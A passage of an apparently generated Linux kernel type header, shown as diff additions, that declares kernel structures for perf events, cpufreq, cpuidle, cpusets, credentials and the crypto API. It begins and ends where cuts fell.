+ long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct debug_store_buffers { + char bts_buffer[65536]; + char pebs_buffer[65536]; +}; + +struct cpu_entry_area { + char gdt[4096]; + struct entry_stack_page entry_stack_page; + struct tss_struct tss; + struct cea_exception_stacks estacks; + struct debug_store cpu_debug_store; + struct debug_store_buffers cpu_debug_buffers; +}; + +struct folio_batch { + unsigned char nr; + unsigned char i; + bool percpu_pvec_drained; + struct folio *folios[31]; +}; + +struct cpu_fbatches { + local_lock_t lock; + struct folio_batch lru_add; + struct folio_batch lru_deactivate_file; + struct folio_batch lru_deactivate; + struct folio_batch lru_lazyfree; + struct folio_batch lru_activate; + local_lock_t lock_irq; + struct folio_batch lru_move_tail; +}; + +struct perf_branch_entry { + __u64 from; + __u64 to; + __u64 mispred: 1; + __u64 predicted: 1; + __u64 in_tx: 1; + __u64 abort: 1; + __u64 cycles: 16; + __u64 type: 4; + __u64 spec: 2; + __u64 new_type: 4; + __u64 priv: 3; + __u64 reserved: 31; +}; + +struct perf_branch_stack { + __u64 nr; + __u64 hw_idx; + struct perf_branch_entry entries[0]; +}; + +struct perf_guest_switch_msr { + unsigned int msr; + u64 host; + u64 guest; +}; + +struct er_account; + +struct intel_shared_regs; + +struct intel_excl_cntrs; + +struct cpu_hw_events { + struct perf_event *events[64]; + unsigned long active_mask[1]; + unsigned long dirty[1]; + int enabled; + int n_events; + int n_added; + int n_txn; + int n_txn_pair; + int n_txn_metric; + int assign[64]; + u64 tags[64]; + struct perf_event *event_list[64]; + struct event_constraint *event_constraint[64]; + int n_excl; + unsigned int txn_flags; + int is_fake; + struct debug_store *ds; + void *ds_pebs_vaddr; + void *ds_bts_vaddr; + u64 pebs_enabled; + int n_pebs; + int n_large_pebs; + int n_pebs_via_pt; + int pebs_output; + u64 pebs_data_cfg; + u64 active_pebs_data_cfg; + int pebs_record_size; + u64 fixed_ctrl_val; + u64 active_fixed_ctrl_val; + int lbr_users; + int lbr_pebs_users; + struct perf_branch_stack lbr_stack; + struct perf_branch_entry lbr_entries[32]; + u64 lbr_counters[32]; + union { + struct er_account *lbr_sel; + struct er_account *lbr_ctl; + }; + u64 br_sel; + void *last_task_ctx; + int last_log_id; + int lbr_select; + void *lbr_xsave; + u64 intel_ctrl_guest_mask; + u64 intel_ctrl_host_mask; + struct perf_guest_switch_msr guest_switch_msrs[64]; + u64 intel_cp_status; + struct intel_shared_regs *shared_regs; + struct event_constraint *constraint_list; + struct intel_excl_cntrs *excl_cntrs; + int excl_thread_id; + u64 tfa_shadow; + int n_metric; + struct amd_nb *amd_nb; + int brs_active; + u64 perf_ctr_virt_mask; + int n_pair; + void *kfree_on_online[2]; + struct pmu *pmu; +}; + +struct cpu_itimer { + u64 expires; + u64 incr; +}; + +struct cpu_perf_ibs { + struct perf_event *event; + unsigned long state[1]; +}; + +struct cpu_rmap { + struct kref refcount; + u16 size; + void **obj; + struct { + u16 index; + u16 dist; + } near[0]; +}; + +struct cpu_signature { + unsigned int sig; + unsigned int pf; + unsigned int rev; +}; + +struct cpu_stop_done { + atomic_t nr_todo; + int ret; + struct completion completion; +}; + +typedef int (*cpu_stop_fn_t)(void *); + +struct cpu_stop_work { + struct list_head list; + cpu_stop_fn_t fn; + unsigned long caller; + void *arg; + struct cpu_stop_done *done; +}; + +struct cpu_stopper { + struct task_struct *thread; + raw_spinlock_t lock; + bool enabled; + struct list_head works; + struct cpu_stop_work stop_work; + unsigned long caller; + cpu_stop_fn_t fn; +}; + +struct cpu_timer { + struct timerqueue_node node; + struct timerqueue_head *head; + struct pid *pid; + struct list_head elist; + int firing; + struct task_struct __attribute__((btf_type_tag("rcu"))) *handling; +}; + +struct cpu_vfs_cap_data { + __u32 magic_etc; + kuid_t rootid; + kernel_cap_t permitted; + kernel_cap_t inheritable; +}; + +struct kernel_cpustat; + +struct cpuacct { + struct cgroup_subsys_state css; + u64 __attribute__((btf_type_tag("percpu"))) *cpuusage; + struct kernel_cpustat __attribute__((btf_type_tag("percpu"))) *cpustat; +}; + +struct pstate_data { + int current_pstate; + int min_pstate; + int max_pstate; + int max_pstate_physical; + int perf_ctl_scaling; + int scaling; + int turbo_pstate; + unsigned int min_freq; + unsigned int max_freq; + unsigned int turbo_freq; +}; + +struct vid_data { + int min; + int max; + int turbo; + int32_t ratio; +}; + +struct sample { + int32_t core_avg_perf; + int32_t busy_scaled; + u64 aperf; + u64 mperf; + u64 tsc; + u64 time; +}; + +struct cpudata { + int cpu; + unsigned int policy; + struct update_util_data update_util; + bool update_util_set; + struct pstate_data pstate; + struct vid_data vid; + u64 last_update; + u64 last_sample_time; + u64 aperf_mperf_shift; + u64 prev_aperf; + u64 prev_mperf; + u64 prev_tsc; + struct sample sample; + int32_t min_perf_ratio; + int32_t max_perf_ratio; + struct acpi_processor_performance acpi_perf_data; + bool valid_pss_table; + unsigned int iowait_boost; + s16 epp_powersave; + s16 epp_policy; + s16 epp_default; + s16 epp_cached; + u64 hwp_req_cached; + u64 hwp_cap_cached; + u64 last_io_update; + unsigned int capacity_perf; + unsigned int sched_flags; + u32 hwp_boost_min; + bool suspended; + struct delayed_work hwp_notify_work; +}; + +struct cpudl_item; + +struct cpudl { + raw_spinlock_t lock; + int size; + cpumask_var_t free_cpus; + struct cpudl_item *elements; +}; + +struct cpudl_item { + u64 dl; + int cpu; + int idx; +}; + +struct cpufreq_cpuinfo { + unsigned int max_freq; + unsigned int min_freq; + unsigned int transition_latency; +}; + +struct cpufreq_policy; + +struct cpufreq_policy_data; + +struct freq_attr; + +struct cpufreq_driver { + char name[16]; + u16 flags; + void *driver_data; + int (*init)(struct cpufreq_policy *); + int (*verify)(struct cpufreq_policy_data *); + int (*setpolicy)(struct cpufreq_policy *); + int (*target)(struct cpufreq_policy *, unsigned int, unsigned int); + int (*target_index)(struct cpufreq_policy *, unsigned int); + unsigned int (*fast_switch)(struct cpufreq_policy *, unsigned int); + void (*adjust_perf)(unsigned int, unsigned long, unsigned long, unsigned long); + unsigned int (*get_intermediate)(struct cpufreq_policy *, unsigned int); + int (*target_intermediate)(struct cpufreq_policy *, unsigned int); + unsigned int (*get)(unsigned int); + void (*update_limits)(unsigned int); + int (*bios_limit)(int, unsigned int *); + int (*online)(struct cpufreq_policy *); + int (*offline)(struct cpufreq_policy *); + void (*exit)(struct cpufreq_policy *); + int (*suspend)(struct cpufreq_policy *); + int (*resume)(struct cpufreq_policy *); + void (*ready)(struct cpufreq_policy *); + struct freq_attr **attr; + bool boost_enabled; + int (*set_boost)(struct cpufreq_policy *, int); + void (*register_em)(struct cpufreq_policy *); +}; + +struct cpufreq_freqs { + struct cpufreq_policy *policy; + unsigned int old; + unsigned int new; + u8 flags; +}; + +struct cpufreq_frequency_table { + unsigned int flags; + unsigned int driver_data; + unsigned int frequency; +}; + +struct cpufreq_governor { + char name[16]; + int (*init)(struct cpufreq_policy *); + void (*exit)(struct cpufreq_policy *); + int (*start)(struct cpufreq_policy *); + void (*stop)(struct cpufreq_policy *); + void (*limits)(struct cpufreq_policy *); + ssize_t (*show_setspeed)(struct cpufreq_policy *, char *); + int (*store_setspeed)(struct cpufreq_policy *, unsigned int); + struct list_head governor_list; + struct module *owner; + u8 flags; +}; + +struct plist_head { + struct list_head node_list; +}; + +struct pm_qos_constraints { + struct plist_head list; + s32 target_value; + s32 default_value; + s32 no_constraint_value; + enum pm_qos_type type; + struct blocking_notifier_head *notifiers; +}; + +struct freq_constraints { + struct pm_qos_constraints min_freq; + struct blocking_notifier_head min_freq_notifiers; + struct pm_qos_constraints max_freq; + struct blocking_notifier_head max_freq_notifiers; +}; + +struct cpufreq_stats; + +struct cpufreq_policy { + cpumask_var_t cpus; + cpumask_var_t related_cpus; + cpumask_var_t real_cpus; + unsigned int shared_type; + unsigned int cpu; + struct clk *clk; + struct cpufreq_cpuinfo cpuinfo; + unsigned int min; + unsigned int max; + unsigned int cur; + unsigned int suspend_freq; + unsigned int policy; + unsigned int last_policy; + struct cpufreq_governor *governor; + void *governor_data; + char last_governor[16]; + struct work_struct update; + struct freq_constraints constraints; + struct freq_qos_request *min_freq_req; + struct freq_qos_request *max_freq_req; + struct cpufreq_frequency_table *freq_table; + enum cpufreq_table_sorting freq_table_sorted; + struct list_head policy_list; + struct kobject kobj; + struct completion kobj_unregister; + struct rw_semaphore rwsem; + bool fast_switch_possible; + bool fast_switch_enabled; + bool strict_target; + bool efficiencies_available; + unsigned int transition_delay_us; + bool dvfs_possible_from_any_cpu; + bool boost_enabled; + unsigned int cached_target_freq; + unsigned int cached_resolved_idx; + bool transition_ongoing; + spinlock_t transition_lock; + wait_queue_head_t transition_wait; + struct task_struct *transition_task; + struct cpufreq_stats *stats; + void *driver_data; + struct thermal_cooling_device *cdev; + struct notifier_block nb_min; + struct notifier_block nb_max; +}; + +struct cpufreq_policy_data { + struct cpufreq_cpuinfo cpuinfo; + struct cpufreq_frequency_table *freq_table; + unsigned int cpu; + unsigned int min; + unsigned int max; +}; + +struct cpuhp_cpu_state { + enum cpuhp_state state; + enum cpuhp_state target; + enum cpuhp_state fail; + struct task_struct *thread; + bool should_run; + bool rollback; + bool single; + bool bringup; + struct hlist_node *node; + struct hlist_node *last; + enum cpuhp_state cb_state; + int result; + atomic_t ap_sync_state; + struct completion done_up; + struct completion done_down; +}; + +struct cpuhp_step { + const char *name; + union { + int (*single)(unsigned int); + int (*multi)(unsigned int, struct hlist_node *); + } startup; + union { + int (*single)(unsigned int); + int (*multi)(unsigned int, struct hlist_node *); + } teardown; + struct hlist_head list; + bool cant_stop; + bool multi_instance; +}; + +union cpuid10_eax { + struct { + unsigned int version_id: 8; + unsigned int num_counters: 8; + unsigned int bit_width: 8; + unsigned int mask_length: 8; + } split; + unsigned int full; +}; + +union cpuid10_ebx { + struct { + unsigned int no_unhalted_core_cycles: 1; + unsigned int no_instructions_retired: 1; + unsigned int no_unhalted_reference_cycles: 1; + unsigned int no_llc_reference: 1; + unsigned int no_llc_misses: 1; + unsigned int no_branch_instruction_retired: 1; + unsigned int no_branch_misses_retired: 1; + } split; + unsigned int full; +}; + +union cpuid10_edx { + struct { + unsigned int num_counters_fixed: 5; + unsigned int bit_width_fixed: 8; + unsigned int reserved1: 2; + unsigned int anythread_deprecated: 1; + unsigned int reserved2: 16; + } split; + unsigned int full; +}; + +union cpuid28_eax { + struct { + unsigned int lbr_depth_mask: 8; + unsigned int reserved: 22; + unsigned int lbr_deep_c_reset: 1; + unsigned int lbr_lip: 1; + } split; + unsigned int full; +}; + +union cpuid28_ebx { + struct { + unsigned int lbr_cpl: 1; + unsigned int lbr_filter: 1; + unsigned int lbr_call_stack: 1; + } split; + unsigned int full; +}; + +union cpuid28_ecx { + struct { + unsigned int lbr_mispred: 1; + unsigned int lbr_timed_lbr: 1; + unsigned int lbr_br_type: 1; + unsigned int reserved: 13; + unsigned int lbr_counters: 4; + } split; + unsigned int full; +}; + +union cpuid_0x80000022_ebx { + struct { + unsigned int num_core_pmc: 4; + unsigned int lbr_v2_stack_sz: 6; + unsigned int num_df_pmc: 6; + unsigned int num_umc_pmc: 6; + } split; + unsigned int full; +}; + +union cpuid_1_eax { + struct { + __u32 stepping: 4; + __u32 model: 4; + __u32 family: 4; + __u32 __reserved0: 4; + __u32 ext_model: 4; + __u32 ext_fam: 8; + __u32 __reserved1: 4; + }; + __u32 full; +}; + +struct cpuid_bit { + u16 feature; + u8 reg; + u8 bit; + u32 level; + u32 sub_leaf; +}; + +struct cpuid_dep { + unsigned int feature; + unsigned int depends; +}; + +struct cpuid_dependent_feature { + u32 feature; + u32 level; +}; + +struct cpuid_regs { + u32 eax; + u32 ebx; + u32 ecx; + u32 edx; +}; + +struct cpuid_regs_done { + struct cpuid_regs regs; + struct completion done; +}; + +struct cpuidle_device; + +struct cpuidle_attr { + struct attribute attr; + ssize_t (*show)(struct cpuidle_device *, char *); + ssize_t (*store)(struct cpuidle_device *, const char *, size_t); +}; + +struct cpuidle_state_usage { + unsigned long long disable; + unsigned long long usage; + u64 time_ns; + unsigned long long above; + unsigned long long below; + unsigned long long rejected; + unsigned long long s2idle_usage; + unsigned long long s2idle_time; +}; + +struct cpuidle_driver_kobj; + +struct cpuidle_state_kobj; + +struct cpuidle_device_kobj; + +struct cpuidle_device { + unsigned int registered: 1; + unsigned int enabled: 1; + unsigned int poll_time_limit: 1; + unsigned int cpu; + ktime_t next_hrtimer; + int last_state_idx; + u64 last_residency_ns; + u64 poll_limit_ns; + u64 forced_idle_latency_limit_ns; + struct cpuidle_state_usage states_usage[10]; + struct cpuidle_state_kobj *kobjs[10]; + struct cpuidle_driver_kobj *kobj_driver; + struct cpuidle_device_kobj *kobj_dev; + struct list_head device_list; +}; + +struct cpuidle_device_kobj { + struct cpuidle_device *dev; + struct completion kobj_unregister; + struct kobject kobj; +}; + +struct cpuidle_driver; + +struct cpuidle_state { + char name[16]; + char desc[32]; + s64 exit_latency_ns; + s64 target_residency_ns; + unsigned int flags; + unsigned int exit_latency; + int power_usage; + unsigned int target_residency; + int (*enter)(struct cpuidle_device *, struct cpuidle_driver *, int); + int (*enter_dead)(struct cpuidle_device *, int); + int (*enter_s2idle)(struct cpuidle_device *, struct cpuidle_driver *, int); +}; + +struct cpuidle_driver { + const char *name; + struct module *owner; + unsigned int bctimer: 1; + struct cpuidle_state states[10]; + int state_count; + int safe_state_index; + struct cpumask *cpumask; + const char *governor; +}; + +struct cpuidle_governor { + char name[16]; + struct list_head governor_list; + unsigned int rating; + int (*enable)(struct cpuidle_driver *, struct cpuidle_device *); + void (*disable)(struct cpuidle_driver *, struct cpuidle_device *); + int (*select)(struct cpuidle_driver *, struct cpuidle_device *, bool *); + void (*reflect)(struct cpuidle_device *, int); +}; + +struct cpuidle_state_attr { + struct attribute attr; + ssize_t (*show)(struct cpuidle_state *, struct cpuidle_state_usage *, char *); + ssize_t (*store)(struct cpuidle_state *, struct cpuidle_state_usage *, const char *, size_t); +}; + +struct cpuidle_state_kobj { + struct cpuidle_state *state; + struct cpuidle_state_usage *state_usage; + struct completion kobj_unregister; + struct kobject kobj; + struct cpuidle_device *device; +}; + +struct cpuinfo_topology { + u32 apicid; + u32 initial_apicid; + u32 pkg_id; + u32 die_id; + u32 cu_id; + u32 core_id; + u32 logical_pkg_id; + u32 logical_die_id; + u32 amd_node_id; + u32 llc_id; + u32 l2c_id; +}; + +struct cpuinfo_x86 { + union { + struct { + __u8 x86_model; + __u8 x86; + __u8 x86_vendor; + __u8 x86_reserved; + }; + __u32 x86_vfm; + }; + __u8 x86_stepping; + int x86_tlbsize; + __u32 vmx_capability[5]; + __u8 x86_virt_bits; + __u8 x86_phys_bits; + __u32 extended_cpuid_level; + int cpuid_level; + union { + __u32 x86_capability[24]; + unsigned long x86_capability_alignment; + }; + char x86_vendor_id[16]; + char x86_model_id[64]; + struct cpuinfo_topology topo; + unsigned int x86_cache_size; + int x86_cache_alignment; + int x86_cache_max_rmid; + int x86_cache_occ_scale; + int x86_cache_mbm_width_offset; + int x86_power; + unsigned long loops_per_jiffy; + u64 ppin; + u16 x86_clflush_size; + u16 booted_cores; + u16 cpu_index; + bool smt_active; + u32 microcode; + u8 x86_cache_bits; + unsigned int initialized: 1; +}; + +struct cpumap { + unsigned int available; + unsigned int allocated; + unsigned int managed; + unsigned int managed_allocated; + bool initialized; + bool online; + unsigned long *managed_map; + unsigned long alloc_map[0]; +}; + +union cpumask_rcuhead { + cpumask_t cpumask; + struct callback_head rcu; +}; + +struct cpupri_vec { + atomic_t count; + cpumask_var_t mask; +}; + +struct cpupri { + struct cpupri_vec pri_to_cpu[101]; + int *cpu_to_pri; +}; + +struct fmeter { + int cnt; + int val; + time64_t time; + spinlock_t lock; +}; + +struct uf_node { + struct uf_node *parent; + unsigned int rank; +}; + +struct cpuset { + struct cgroup_subsys_state css; + unsigned long flags; + cpumask_var_t cpus_allowed; + nodemask_t mems_allowed; + cpumask_var_t effective_cpus; + nodemask_t effective_mems; + cpumask_var_t effective_xcpus; + cpumask_var_t exclusive_cpus; + nodemask_t old_mems_allowed; + struct fmeter fmeter; + int attach_in_progress; + int relax_domain_level; + int nr_subparts; + int partition_root_state; + int nr_deadline_tasks; + int nr_migrate_dl_tasks; + u64 sum_migrate_dl_bw; + enum prs_errcode prs_err; + struct cgroup_file partition_file; + struct list_head remote_sibling; + struct uf_node node; +}; + +struct cpuset_migrate_mm_work { + struct work_struct work; + struct mm_struct *mm; + nodemask_t from; + nodemask_t to; +}; + +struct range { + u64 start; + u64 end; +}; + +struct crash_mem { + unsigned int max_nr_ranges; + unsigned int nr_ranges; + struct range ranges[0]; +}; + +struct crc_data { + struct task_struct *thr; + atomic_t ready; + atomic_t stop; + unsigned int run_threads; + wait_queue_head_t go; + wait_queue_head_t done; + u32 *crc32; + size_t *unc_len[3]; + unsigned char *unc[3]; +}; + +struct group_info; + +struct cred { + atomic_long_t usage; + kuid_t uid; + kgid_t gid; + kuid_t suid; + kgid_t sgid; + kuid_t euid; + kgid_t egid; + kuid_t fsuid; + kgid_t fsgid; + unsigned int securebits; + kernel_cap_t cap_inheritable; + kernel_cap_t cap_permitted; + kernel_cap_t cap_effective; + kernel_cap_t cap_bset; + kernel_cap_t cap_ambient; + unsigned char jit_keyring; + struct key *session_keyring; + struct key *process_keyring; + struct key *thread_keyring; + struct key *request_key_auth; + struct user_struct *user; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct group_info *group_info; + union { + int non_rcu; + struct callback_head rcu; + }; +}; + +struct crng { + u8 key[32]; + unsigned long generation; + local_lock_t lock; +}; + +struct crs_csi2 { + struct list_head entry; + acpi_handle handle; + struct acpi_device_software_nodes *swnodes; + struct list_head connections; + u32 port_count; +}; + +struct crs_csi2_connection { + struct list_head entry; + struct acpi_resource_csi2_serialbus csi2_data; + acpi_handle remote_handle; + char remote_name[0]; +}; + +struct iv_benbi_private { + int shift; +}; + +struct iv_lmk_private { + struct crypto_shash *hash_tfm; + u8 *seed; +}; + +struct iv_tcw_private { + struct crypto_shash *crc32_tfm; + u8 *iv_seed; + u8 *whitening; +}; + +struct crypto_skcipher; + +struct iv_elephant_private { + struct crypto_skcipher *tfm; +}; + +struct dm_dev; + +struct crypt_iv_operations; + +struct crypt_config { + struct dm_dev *dev; + sector_t start; + struct percpu_counter n_allocated_pages; + struct workqueue_struct *io_queue; + struct workqueue_struct *crypt_queue; + spinlock_t write_thread_lock; + struct task_struct *write_thread; + struct rb_root write_tree; + char *cipher_string; + char *cipher_auth; + char *key_string; + const struct crypt_iv_operations *iv_gen_ops; + union { + struct iv_benbi_private benbi; + struct iv_lmk_private lmk; + struct iv_tcw_private tcw; + struct iv_elephant_private elephant; + } iv_gen_private; + u64 iv_offset; + unsigned int iv_size; + unsigned short sector_size; + unsigned char sector_shift; + union { + struct crypto_skcipher **tfms; + struct crypto_aead **tfms_aead; + } cipher_tfm; + unsigned int tfms_count; + int workqueue_id; + unsigned long cipher_flags; + unsigned int dmreq_start; + unsigned int per_bio_data_size; + unsigned long flags; + unsigned int key_size; + unsigned int key_parts; + unsigned int key_extra_size; + unsigned int key_mac_size; + unsigned int integrity_tag_size; + unsigned int integrity_iv_size; + unsigned int used_tag_size; + unsigned int tuple_size; + unsigned int tag_pool_max_sectors; + mempool_t tag_pool; + mempool_t req_pool; + mempool_t page_pool; + struct bio_set bs; + struct mutex bio_alloc_lock; + u8 *authenc_key; + u8 key[0]; +}; + +struct dm_target; + +struct dm_crypt_request; + +struct crypt_iv_operations { + int (*ctr)(struct crypt_config *, struct dm_target *, const char *); + void (*dtr)(struct crypt_config *); + int (*init)(struct crypt_config *); + int (*wipe)(struct crypt_config *); + int (*generator)(struct crypt_config *, u8 *, struct dm_crypt_request *); + int (*post)(struct crypt_config *, u8 *, struct dm_crypt_request *); +}; + +struct crypto_tfm { + refcount_t refcnt; + u32 crt_flags; + int node; + void (*exit)(struct crypto_tfm *); + struct crypto_alg *__crt_alg; + void *__crt_ctx[0]; +}; + +struct crypto_acomp { + int (*compress)(struct acomp_req *); + int (*decompress)(struct acomp_req *); + void (*dst_free)(struct scatterlist *); + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_wait { + struct completion completion; + int err; +}; + +struct crypto_acomp_ctx { + struct crypto_acomp *acomp; + struct acomp_req *req; + struct crypto_wait wait; + u8 *buffer; + struct mutex mutex; + bool is_sleepable; +}; + +struct crypto_aead { + unsigned int authsize; + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_aead_spawn { + struct crypto_spawn base; +}; + +struct crypto_aes_ctx { + u32 key_enc[60]; + u32 key_dec[60]; + u32 key_length; +}; + +struct crypto_ahash { + bool using_shash; + unsigned int statesize; + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_akcipher { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_akcipher_spawn { + struct crypto_spawn base; +}; + +struct crypto_akcipher_sync_data { + struct crypto_akcipher *tfm; + const void *src; + void *dst; + unsigned int slen; + unsigned int dlen; + struct akcipher_request *req; + struct crypto_wait cwait; + struct scatterlist sg; + u8 *buf; +}; + +struct crypto_attr_alg { + char name[128]; +}; + +struct crypto_attr_type { + u32 type; + u32 mask; +}; + +struct crypto_authenc_ctx { + struct crypto_ahash *auth; + struct crypto_skcipher *enc; + struct crypto_sync_skcipher *null; +}; + +struct crypto_authenc_esn_ctx { + unsigned int reqoff; + struct crypto_ahash *auth; + struct crypto_skcipher *enc; + struct crypto_sync_skcipher *null; +}; + +struct crypto_authenc_key_param { + __be32 enckeylen; +}; + +struct crypto_authenc_keys { + const u8 *authkey; + const u8 *enckey; + unsigned int authkeylen; + unsigned int enckeylen; +}; + +struct crypto_ccm_ctx { + struct crypto_ahash *mac; + struct crypto_skcipher *ctr; +}; + +struct skcipher_request { + unsigned int cryptlen; + u8 *iv; + struct scatterlist *src; + struct scatterlist *dst; + struct crypto_async_request base; + void *__ctx[0]; +}; + +struct crypto_ccm_req_priv_ctx { + u8 odata[16]; + u8 idata[16]; + u8 auth_tag[16]; + u32 flags; + struct scatterlist src[3]; + struct scatterlist dst[3]; + union { + struct ahash_request ahreq; + struct skcipher_request skreq; + }; +}; + +struct crypto_cipher { + struct crypto_tfm base; +}; + +struct crypto_cipher_spawn { + struct crypto_spawn base; +}; + +struct crypto_comp { + struct crypto_tfm base; +}; + +struct crypto_gcm_ctx { + struct crypto_skcipher *ctr; + struct crypto_ahash *ghash; +}; + +struct crypto_gcm_ghash_ctx { + unsigned int cryptlen; + struct scatterlist *src; + int (*complete)(struct aead_request *, u32); +}; + +struct crypto_gcm_req_priv_ctx { + u8 iv[16]; + u8 auth_tag[16]; + u8 iauth_tag[16]; + struct scatterlist src[3]; + struct scatterlist dst[3]; + struct scatterlist sg; + struct crypto_gcm_ghash_ctx ghash_ctx; + union { + struct ahash_request ahreq; + struct skcipher_request skreq; + } u; +}; + +struct crypto_hash_walk { + char *data; + unsigned int offset; + unsigned int flags; + struct page *pg; + unsigned int entrylen; + unsigned int total; + struct scatterlist *sg; +}; + +struct crypto_kpp { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_kpp_spawn { + struct crypto_spawn base; +}; + +struct crypto_larval { + struct crypto_alg alg; + struct crypto_alg *adult; + struct completion completion; + u32 mask; + bool test_started; +}; + +struct crypto_lskcipher { + struct crypto_tfm base; +}; + +struct crypto_lskcipher_spawn { + struct crypto_spawn base; +}; + +struct crypto_queue { + struct list_head list; + struct list_head *backlog; + unsigned int qlen; + unsigned int max_qlen; +}; + +struct crypto_rfc3686_ctx { + struct crypto_skcipher *child; + u8 nonce[4]; +}; + +struct crypto_rfc3686_req_ctx { + u8 iv[16]; + struct skcipher_request subreq; +}; + +struct crypto_rfc4106_ctx { + struct crypto_aead *child; + u8 nonce[4]; +}; + +struct crypto_rfc4106_req_ctx { + struct scatterlist src[3]; + struct scatterlist dst[3]; + struct aead_request subreq; +}; + +struct crypto_rfc4309_ctx { + struct crypto_aead *child; + u8 nonce[3]; +}; + +struct crypto_rfc4309_req_ctx { + struct scatterlist src[3]; + struct scatterlist dst[3]; + struct aead_request subreq; +}; + +struct crypto_rfc4543_ctx { + struct crypto_aead *child; + struct crypto_sync_skcipher *null; + u8 nonce[4]; +}; + +struct crypto_rfc4543_instance_ctx { + struct crypto_aead_spawn aead; +}; + +struct crypto_rfc4543_req_ctx { + struct aead_request subreq; +}; + +struct crypto_rng { + struct crypto_tfm base; +}; + +struct crypto_scomp { + struct crypto_tfm base; +}; + +struct crypto_shash { + unsigned int descsize; + struct crypto_tfm base; +}; + +struct crypto_shash_spawn { + struct crypto_spawn base; +}; + +struct crypto_sig { + struct crypto_tfm base; +}; + +struct crypto_skcipher { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_sync_skcipher { + struct crypto_skcipher base; +}; + +struct rtattr; + +struct crypto_template { + struct list_head list; + struct hlist_head instances; + struct module *module; + int (*create)(struct crypto_template *, struct rtattr **); + char name[128]; +}; + +struct crypto_type { + unsigned int (*ctxsize)(struct crypto_alg *, u32, u32); + unsigned int (*extsize)(struct crypto_alg *); + int (*init_tfm)(struct crypto_tfm *); + void (*show)(struct seq_file *, struct crypto_alg *); + int (*report)(struct sk_buff *, struct crypto_alg *); + void (*free)(struct crypto_instance *); + unsigned int type; + unsigned int maskclear; + unsigned int maskset; + unsigned int tfmsize; +}; + +struct rtattr { + unsigned short rta_len; + unsigned short rta_type; +}; + +struct cryptomgr_param { + struct rtattr *tb[34]; + struct { + struct rtattr attr; + struct crypto_attr_type data; + } type; + struct { + struct rtattr attr; + struct crypto_attr_alg data; + } attrs[32]; + char template[128]; + struct crypto_larval *larval; + u32 otype; + u32 omask; +}; + +struct cs_dbs_tuners { + unsigned int down_threshold; + unsigned int freq_step; +}; + +struct dbs_data; + +struct policy_dbs_info { + struct cpufreq_policy *policy; + struct mutex update_mutex; + u64 last_sample_time; + s64 sample_delay_ns; + atomic_t work_count; + struct irq_work irq_work; + struct work_struct work; + struct dbs_data *dbs_data; + struct list_head list; + unsigned int rate_mult; + unsigned int idle_periods; + bool is_shared; + bool work_in_progress; +}; + +struct cs_policy_dbs_info { + struct policy_dbs_info policy_dbs; + unsigned int down_skip; + unsigned int requested_freq; +}; + +struct csi2_resources_walk_data { + acpi_handle handle; + struct list_head connections; +}; + +union csr { + void *base; + void *cache; +}; + +struct csr___2 { + struct { + u8 status; + u8 stat_ack; + u8 cmd_lo; + u8 cmd_hi; + u32 gen_ptr; + } scb; + u32 port; + u16 flash_ctrl; + u8 eeprom_ctrl_lo; + u8 eeprom_ctrl_hi; + u32 mdi_ctrl; + u32 rx_dma_count; +}; + +struct css_set { + struct cgroup_subsys_state *subsys[14]; + refcount_t refcount; + struct css_set *dom_cset; + struct cgroup *dfl_cgrp; + int nr_tasks; + struct list_head tasks; + struct list_head mg_tasks; + struct list_head dying_tasks; + struct list_head task_iters; + struct list_head e_cset_node[14]; + struct list_head threaded_csets; + struct list_head threaded_csets_node; + struct hlist_node hlist; + struct list_head cgrp_links; + struct list_head mg_src_preload_node; + struct list_head mg_dst_preload_node; + struct list_head mg_node; + struct cgroup *mg_src_cgrp; + struct cgroup *mg_dst_cgrp; + struct css_set 